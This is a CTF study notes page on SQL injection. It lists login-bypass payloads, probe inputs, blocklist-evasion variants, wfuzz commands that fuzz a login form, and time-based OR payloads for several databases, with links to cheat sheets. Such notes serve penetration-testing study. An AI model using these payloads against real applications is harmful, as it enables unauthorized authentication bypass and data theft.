> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/misc/databases/sql-injection.md).

# SQL-injection

In computing, SQL injection is a [code injection](https://en.wikipedia.org/wiki/Code_injection) technique used to [attack](https://en.wikipedia.org/wiki/Attack_\(computing\)) data-driven applications, in which malicious [SQL](https://en.wikipedia.org/wiki/SQL) statements are inserted into an entry field for execution (e.g. to dump the [database](https://en.wikipedia.org/wiki/Database) contents to the attacker). SQL injection must exploit a [security vulnerability](https://en.wikipedia.org/wiki/Security_vulnerability) in an application's software, for example, when user input is either incorrectly filtered for [string literal](https://en.wikipedia.org/wiki/String_literal) [escape characters](https://en.wikipedia.org/wiki/Escape_sequence) embedded in SQL statements or user input is not [strongly typed](https://en.wikipedia.org/wiki/Strongly-typed_programming_language) and unexpectedly executed. SQL injection is mostly known as an [attack vector](https://en.wikipedia.org/wiki/Attack_vector) for websites but can be used to attack any type of SQL database.

## Classic Payloads

### Logins

For query like `SELECT * FROM Users WHERE username = 'FUZZ1' AND password = 'FUZZ2';`

```sql
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
' OR 1=1 -- //
admin'-- - #
'='
'LIKE'
'=0--+
```

If there is a WAF/blocklist that blocks things like `OR` we can remove the first space and try things like

```sql
'OR '1
'OR 1 -- -
"OR "" = "
"OR 1 = 1 -- -
'OR 1=1 -- //
```

### String values

For query like `SELECT * FROM Table WHERE id = 'FUZZ';`

```
'
''
`
``
,
"
""
/
//
\
\\
```

### Numeric values

For query like `SELECT * FROM Table WHERE id = FUZZ;`

```
AND 1
AND 0
AND true
AND false
1-false
1-true
1*56
-2
```

## Fuzzing with wfuzz <a href="#safe-or-based-payloads" id="safe-or-based-payloads"></a>

We can automate the scanning with tools such as `wfuzz`

### Standalone fuzzing

```bash
wfuzz -c -w /usr/share/seclists/Fuzzing/SQLi/quick-SQLi.txt -d "username=FUZZ&password=test" -u http://$TARGET_IP/login.php
```

### Fuzzing via Burp suite

```bash
wfuzz -c -w /usr/share/seclists/Fuzzing/SQLi/quick-SQLi.txt -d "username=FUZZ&password=test" -u http://$TARGET_IP/login.php -p "127.0.0.1:8080:HTTP"
```

### Usage information

<details>

<summary>wfuzz --help</summary>

```bash
┌──(kali㉿kali)-[~]
└─$ wfuzz --help                                                                               
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
*                                                      *
* Version up to 1.4c coded by:                         *
* Christian Martorella (cmartorella@edge-security.com) *
* Carlos del ojo (deepbit@gmail.com)                   *
*                                                      *
* Version 1.4d to 3.1.0 coded by:                      *
* Xavier Mendez (xmendez@edge-security.com)            *
********************************************************

Usage:  wfuzz [options] -z payload,params <url>

        FUZZ, ..., FUZnZ  wherever you put these keywords wfuzz will replace them with the values of the specified payload.
        FUZZ{baseline_value} FUZZ will be replaced by baseline_value. It will be the first request performed and could be used as a base for filtering.


Options:
        -h/--help                 : This help
        --help                    : Advanced help
        --filter-help             : Filter language specification
        --version                 : Wfuzz version details
        -e <type>                 : List of available encoders/payloads/iterators/printers/scripts

        --recipe <filename>       : Reads options from a recipe. Repeat for various recipes.
        --dump-recipe <filename>  : Prints current options as a recipe
        --oF <filename>           : Saves fuzz results to a file. These can be consumed later using the wfuzz payload.

        -c                        : Output with colors
        -v                        : Verbose information.
        -f filename,printer       : Store results in the output file using the specified printer (raw printer if omitted).
        -o printer                : Show results using the specified printer.
        --interact                : (beta) If selected,all key presses are captured. This allows you to interact with the program.
        --dry-run                 : Print the results of applying the requests without actually making any HTTP request.
        --prev                    : Print the previous HTTP requests (only when using payloads generating fuzzresults)
        --efield <expr>           : Show the specified language expression together with the current payload. Repeat for various fields.
        --field <expr>            : Do not show the payload but only the specified language expression. Repeat for various fields.

        -p addr                   : Use Proxy in format ip:port:type. Repeat option for using various proxies.
                                    Where type could be SOCKS4,SOCKS5 or HTTP if omitted.

        -t N                      : Specify the number of concurrent connections (10 default)
        -s N                      : Specify time delay between requests (0 default)
        -R depth                  : Recursive path discovery being depth the maximum recursion level.
        -D depth                  : Maximum link depth level.
        -L,--follow               : Follow HTTP redirections
        --ip host:port            : Specify an IP to connect to instead of the URL's host in the format ip:port
        -Z                        : Scan mode (Connection errors will be ignored).
        --req-delay N             : Sets the maximum time in seconds the request is allowed to take (CURLOPT_TIMEOUT). Default 90.
        --conn-delay N            : Sets the maximum time in seconds the connection phase to the server to take (CURLOPT_CONNECTTIMEOUT). Default 90.

        -A, --AA, --AAA           : Alias for -v -c and --script=default,verbose,discover respectively
        --no-cache                : Disable plugins cache. Every request will be scanned.
        --script=                 : Equivalent to --script=default
        --script=<plugins>        : Runs script's scan. <plugins> is a comma separated list of plugin-files or plugin-categories
        --script-help=<plugins>   : Show help about scripts.
        --script-args n1=v1,...   : Provide arguments to scripts. ie. --script-args grep.regex="<A href=\"(.*?)\">"

        -u url                    : Specify a URL for the request.
        -m iterator               : Specify an iterator for combining payloads (product by default)
        -z payload                : Specify a payload for each FUZZ keyword used in the form of name[,parameter][,encoder].
                                    A list of encoders can be used, ie. md5-sha1. Encoders can be chained, ie. md5@sha1.
                                    Encoders category can be used. ie. url
                                    Use help as a payload to show payload plugin's details (you can filter using --slice)
        --zP <params>             : Arguments for the specified payload (it must be preceded by -z or -w).
        --zD <default>            : Default parameter for the specified payload (it must be preceded by -z or -w).
        --zE <encoder>            : Encoder for the specified payload (it must be preceded by -z or -w).
        --slice <filter>          : Filter payload's elements using the specified expression. It must be preceded by -z.
        -w wordlist               : Specify a wordlist file (alias for -z file,wordlist).
        -V alltype                : All parameters bruteforcing (allvars and allpost). No need for FUZZ keyword.
        -X method                 : Specify an HTTP method for the request, ie. HEAD or FUZZ

        -b cookie                 : Specify a cookie for the requests. Repeat option for various cookies.
        -d postdata               : Use post data (ex: "id=FUZZ&catalogue=1")
        -H header                 : Use header (ex:"Cookie:id=1312321&user=FUZZ"). Repeat option for various headers.
        --basic/ntlm/digest auth  : in format "user:pass" or "FUZZ:FUZZ" or "domain\FUZ2Z:FUZZ"

        --hc/hl/hw/hh N[,N]+      : Hide responses with the specified code/lines/words/chars (Use BBB for taking values from baseline)
        --sc/sl/sw/sh N[,N]+      : Show responses with the specified code/lines/words/chars (Use BBB for taking values from baseline)
        --ss/hs regex             : Show/hide responses with the specified regex within the content
        --filter <filter>         : Show/hide responses using the specified filter expression (Use BBB for taking values from baseline)
        --prefilter <filter>      : Filter items before fuzzing using the specified expression. Repeat for concatenating filters.

```

</details>

## “Safe” OR-Based Payloads <a href="#safe-or-based-payloads" id="safe-or-based-payloads"></a>

Tib3rius argues in [this article](https://tcm-sec.com/avoid-or-1-equals-1-in-sql-injections/) and [this video](https://www.youtube.com/watch?v=EpCA4HF-aUM) that classical `OR <true>` expresssions (e.g. `' OR 1=1 — -`) should be avoided unless absolutely necessary. Instead, you should use these "safe" OR-based payloads:

<table><thead><tr><th width="140">Variant</th><th width="475">Payload</th><th>Credit</th></tr></thead><tbody><tr><td>MySQL</td><td><code>' OR IF((NOW()=SYSDATE()),SLEEP(1),1)='0</code></td><td><a href="https://x.com/coffinxp7">Coffin</a></td></tr><tr><td>PostgreSQL</td><td><code>' OR (CASE WHEN ((CLOCK_TIMESTAMP() - NOW()) &#x3C; '0:0:1') THEN (SELECT '1'||PG_SLEEP(1)) ELSE '0' END)='1</code></td><td><a href="https://x.com/0xTib3rius">Tib3rius</a></td></tr><tr><td>MSSQL</td><td>No Known Payload</td><td></td></tr><tr><td>Oracle</td><td><code>' OR ROWNUM = '1</code></td><td><a href="https://x.com/moore_rich">Richard Moore</a></td></tr><tr><td>SQLite</td><td><code>' OR ROWID = '1</code></td><td><a href="https://x.com/0xTib3rius">Tib3rius</a></td></tr></tbody></table>

## PayloadsAllTheThings

MSSQL Injection: <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MSSQL%20Injection.md>

MySQL Injection: <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md>

PostgreSQL Injection: <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md>

## Resources

Error Based Injection - NetSPI: <https://sqlwiki.netspi.com/injectionTypes/errorBased/#mysql>

SQL injection - OWASP: <https://owasp.org/www-community/attacks/SQL_Injection>

SQL Injection - PayloadsAllTheThings: <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection>

SQL Injection - PortSwigger: <https://portswigger.net/web-security/sql-injection>

SQL injection - Wikipedia: <https://en.wikipedia.org/wiki/SQL_injection>

SQL Injection Cheatsheet - Tib3rius: <https://tib3rius.com/sqli.html>

SQL injection cheat sheet - Invicti: <https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/>

SQL injection cheat sheet - PortSwigger: <https://portswigger.net/web-security/sql-injection/cheat-sheet>

SQL injection Cheat Sheets - pentestmonkey: <https://pentestmonkey.net/category/cheat-sheet/sql-injection>

SQL Injection Payloads - yogsec - GitHub: <https://github.com/yogsec/SQL-Injection-Payloads>

SQL Injection Prevention Cheat Sheet - OWASP: <https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html>
